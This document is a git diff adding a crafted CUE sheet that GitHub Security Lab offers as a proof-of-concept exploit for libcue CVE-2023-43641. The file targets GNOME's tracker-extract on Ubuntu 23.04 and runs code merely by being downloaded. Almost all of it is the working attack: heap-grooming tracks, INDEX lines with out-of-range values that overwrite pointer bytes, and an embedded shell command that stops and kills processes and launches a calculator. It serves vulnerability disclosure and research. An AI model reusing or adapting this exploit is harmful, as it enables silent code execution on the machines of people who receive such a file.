+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/SecurityExploits/libcue/track_set_index_CVE-2023-43641/lunar.cue b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/lunar.cue new file mode 100644 index 0000000..ee649bf --- /dev/null +++ b/SecurityExploits/libcue/track_set_index_CVE-2023-43641/lunar.cue @@ -0,0 +1,44691 @@ +PERFORMER Kev +TITLE "Kev'z Warez" +FILE pwned.mp3 MP3 + +TRACK 000 AUDIO +MESSAGE "First some [heap feng shui](https://en.wikipedia.org/wiki/Heap_feng_shui): +allocate memory so that all subsequent allocations come from a continguous block of +memory. For example, this string is 251 characters long to use a chunk from tcache +index 15." +TRACK 001 AUDIO +TITLE "A Track is 0x3a8 bytes, so creating many new tracks is a quick way to use lots of memory." +TRACK 002 AUDIO +TITLE "Again " +TRACK 003 AUDIO +TITLE "Again " +TRACK 004 AUDIO +TITLE "Again " +TRACK 005 AUDIO +TITLE "Again " +TRACK 006 AUDIO +TITLE "Again " +TRACK 007 AUDIO +TITLE "Again " +TRACK 008 AUDIO +TITLE "Again " +TRACK 009 AUDIO +TITLE "Again " +TRACK 010 AUDIO +TITLE "Again " +TRACK 011 AUDIO +TITLE "Again " +TRACK 012 AUDIO +TITLE "Again " +TRACK 013 AUDIO +TITLE "Again " +TRACK 014 AUDIO +TITLE "Again " +TRACK 015 AUDIO +TITLE "Again " +TRACK 016 AUDIO +TITLE "Again " +TRACK 017 AUDIO +TITLE "Again " +TRACK 018 AUDIO +TITLE "Again " +TRACK 019 AUDIO +TITLE "Again " +TRACK 020 AUDIO +TITLE "Again " +TRACK 021 AUDIO +TITLE "Again " +TRACK 022 AUDIO +TITLE "Again " +TRACK 023 AUDIO +TITLE "Again " +TRACK 024 AUDIO +TITLE "Again " +TRACK 025 AUDIO +TITLE "Again " +TRACK 026 AUDIO +TITLE "Again " +TRACK 027 AUDIO +TITLE "Again " +TRACK 028 AUDIO +TITLE "Again " +TRACK 029 AUDIO +TITLE "Again " +TRACK 030 AUDIO +TITLE "Again " +TRACK 031 AUDIO +TITLE "Again " +TRACK 032 AUDIO +TITLE "Again " + +TRACK 033 AUDIO +TITLE "Heap Feng Shui: empty the tcache" +COMPOSER "Allocate a chunk from tcache index 2 " +ARRANGER "Allocate a chunk from tcache index 4 " +PERFORMER "Allocate a chunk from tcache index 6 + " +SONGWRITER "Allocate a chunk from tcache index 7 + " +GENRE "Allocate a chunk from tcache index 11 + + " +MESSAGE "The goal here is to ensure that all subsequent allocations come +from a large contiguous block of memory. This string allocates a chunk from +tcache index 13. Doing this 14 times guarantees that the tcache is empty. " + +TRACK 034 AUDIO +TITLE "Copyright (c) 2023 GitHub, Inc." +COMPOSER "[GitHub Security Lab](https://securitylab.github.com/)" +ARRANGER " +This version of the poc is tuned for Ubuntu 23.04 (Lunar Lobster) +" +PERFORMER "[Kevin Backhouse](https://github.com/kevinbackhouse) + " +SONGWRITER " + " +GENRE "[The Malloc Maleficarum](https://seclists.org/bugtraq/2005/Oct/118). +See also: [how2heap](https://github.com/shellphish/how2heap). + " +MESSAGE "Proof-of-concept exploit for libcue CVE-2023-43641 (GHSL-2023-197): out of bounds +array access in track_set_index. The vulnerability is used to get code execution in GNOME's +tracker-extract. Download this file to pop a calc." + +TRACK 035 AUDIO +TITLE "Never Gonna Give You Up " +COMPOSER "Rick Astley " +ARRANGER " " +PERFORMER " +We're no strangers to love +You know the rules and so do I + " +SONGWRITER " +A full commitment's what I'm thinking of +You wouldn't get this from any other guy + " +GENRE " +I just want to tell you how I'm feeling +Gotta make you understand + + " +MESSAGE " +Never gonna give you up, never gonna let you down +Never gonna run around and desert you +Never gonna make you cry, never gonna say goodbye +Never gonna tell a lie and hurt you + " +TRACK 036 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 037 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 038 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 039 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 040 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 041 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 042 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 043 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 044 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 045 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 046 AUDIO +TITLE "Repeat Heap Feng Shui " +COMPOSER " " +ARRANGER " " +PERFORMER " + " +SONGWRITER " + " +GENRE " + + " +MESSAGE " + + " +TRACK 047 AUDIO +TITLE "for freeing to tcache index 1" +TITLE "free previous title" +INDEX 4294964432 4294958312 +TRACK 048 AUDIO +TITLE "Allocate previously freed string" +INDEX 4294967268 149 +INDEX 4294964250 4294958324 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955254 69 +FILE pwned.mp3 MP3 +GENRE "set low bytes of info->file P " +TITLE "long string to overwrite low bytes of address 0 " +INDEX 4294955262 53 +FILE pwned.mp3 MP3 +PERFORMER "set low bytes of file->g_class " +INDEX 4294955259 0 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955322 85 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955150 69 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955292 277 +FILE pwned.mp3 MP3 +MESSAGE "set low bytes of tcache->entries[15] `" +MESSAGE "kevwozere" +TITLE "long string to overwrite low bytes of address " +INDEX 4294955282 85 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address " +INDEX 4294955284 949 +FILE pwned.mp3 MP3 +TITLE "long string to overwrite low bytes of address 0" +INDEX 4294955294 949 +FILE pwned.mp3 MP3 +TITLE "long title to allocate 0x110-sized chunk. " +TRACK 049 AUDIO +INDEX 4294967243 0 +INDEX 4294967247 1 +INDEX 4294967254 0 +INDEX 4294967255 0 +TRACK 050 AUDIO +TITLE "Overwrite low bytes of track->file.name `" +INDEX 4294967294 277 +FILE "wen poc?" MP3 +TITLE "Overwrite low bytes of track->file.name " +INDEX 14 949 +FILE pwned.mp3 MP3 +TITLE "Overwrite low bytes of track->file.name 0" +INDEX 24 949 +FILE pwned.mp3 MP3 +TITLE "Overwrite low bytes of track->file.name " +INDEX 4294967272 53 +FILE pwned.mp3 MP3 +INDEX 0 4294967295 +INDEX 1 0 +INDEX 1 1892336 +INDEX 14 0 +TRACK 051 AUDIO +FLAGS +TRACK 052 AUDIO +ISRC looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog-string-to-allocate-0x110-sized-chunk +TITLE "long title to overwrite low bytes of track->isrc `" +INDEX 4294967294 277 +ISRC short-string +INDEX 0 4294967295 +INDEX 1 0 +INDEX 1 242320 +INDEX 4294967088 0 +INDEX 4294967090 0 +INDEX 4294967271 100 +INDEX 4294967273 0 +INDEX 4294967280 80 +TRACK 053 AUDIO +INDEX 4294963806 4294958357 +TRACK 054 AUDIO +INDEX 4294967279 0 +INDEX 4294963634 4294958317 +TRACK 055 AUDIO +INDEX 4294967282 0 +INDEX 4294963462 3817 +TITLE "Temporary long title for tcache index 6 " +TITLE "short title" +TRACK 056 AUDIO +TITLE "Use long title from tcache index 6 " +INDEX 4294967258 197 +TITLE " /bin/bash" +INDEX 4294963270 3818 +TRACK 057 AUDIO +INDEX 4294967279 25389 +INDEX 4294963098 3819 +TITLE "Temporary long title for tcache index 6 " +TITLE "eta son" +TRACK 058 AUDIO +TITLE "Use long title from tcache index 6 " +INDEX 4294967258 357 +TITLE "This command is going to get called repeatedly in an infinite loop, so send SIGSTOP to avoid a fork-bomb and use flock so only one calculator starts. killall -SIGSTOP tracker-extract-3; flock -w 3 ~/Downloads/pwned.lock -c 'gnome-calculator -e 1337' && (sleep 10; rm ~/Downloads/pwned.lock; killall -9 tracker-extract-3)" +INDEX 4294962906 4294958329 +PERFORMER "Temporary long name for tcache index 6 " +PERFORMER "short name" +TRACK 059 AUDIO +INDEX 4294962714 4566 +TITLE "Use chunk from tcache index 6 " +INDEX 4294967258 197 +TITLE "short title" +TRACK 060 AUDIO +INDEX 4294962538 4565 +TITLE " " +TRACK 1337 AUDIO +INDEX 4294967290 0 +TITLE "Use the chunk that is still in tcache index 2" +MESSAGE "pop that calc " +REM DATE "1992 AD" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 